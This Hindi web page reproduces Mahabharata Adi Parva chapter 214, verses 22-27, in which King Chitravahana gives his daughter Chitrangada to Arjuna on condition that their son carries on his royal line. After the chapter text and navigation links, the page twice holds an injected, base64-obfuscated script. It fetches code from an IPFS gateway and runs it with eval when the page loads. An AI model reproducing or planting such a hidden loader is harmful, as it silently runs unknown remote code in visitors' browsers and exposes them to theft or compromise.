महाभारत आदि पर्व अध्याय 214 श्लोक 22-27
चतुर्दशाधिकद्विशततम (214) अध्याय: आदि पर्व (अर्जुनवनवास पर्व )
‘इस कारण हमारे इस कुल में सदा से एक-एक संतान ही होती चली आ रही है। मेरे अन्य सभी पूर्वजों के तो पुत्र होते आये हैं, परंतु मेरे यह कन्या ही हुई है। यही इस कुल की परम्परा को चलानेवाली है। अत: भरतश्रेष्ठ ! इसके प्रति मेरी यही भावना रहती है कि ‘यह मेरा पुत्र है’।। ‘यद्यपि यह पुत्री है, तो भी हेतुविधि से (अर्थात् इससे जो प्रथम पुत्र होगा, वह मेरा ही पुत्र माना जायगा, इस हेतु से) मैंने इसे पुत्र की संज्ञा दे रक्खी है। भरतश्रेष्ठ ! तुम्हारे द्वारा इसके गर्भ से जो एक पुत्र उत्पन्न हो, वह यही रहकर उस कुल परम्परा का प्रवर्तक हो; इस कन्या के विवाह का यही शुल्क आपको देना होगा। पाण्डुनन्दन ! इसी शर्त के अनुसार आप इसे ग्रहण करें’।‘तथास्तु’ कहकर अर्जुन ने वैसा ही करने की प्रतिज्ञा की और उस कन्या का पाणिग्रहण करके उन्होंने तीन वर्षो तक उसके साथ उस नगर में निवास किया। उसके गर्भ से पुत्र उत्पन्न हो जाने पर उस सुन्दरी को हृदय से लगाकर अर्जुन ने विदा ली तथा राजा चित्रवाहन से पूछकर वे पुन: तीर्थों में भ्रमण करने के लिये चल दिये।
इस प्रकार श्रीमहाभारत आदिपर्व के अन्तर्गत अर्जुनवनवासपर्व में चित्रागंदासमागम विषयक दो सौ चौदहवां अध्याय पूरा हुआ।
« पीछे | आगे » |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>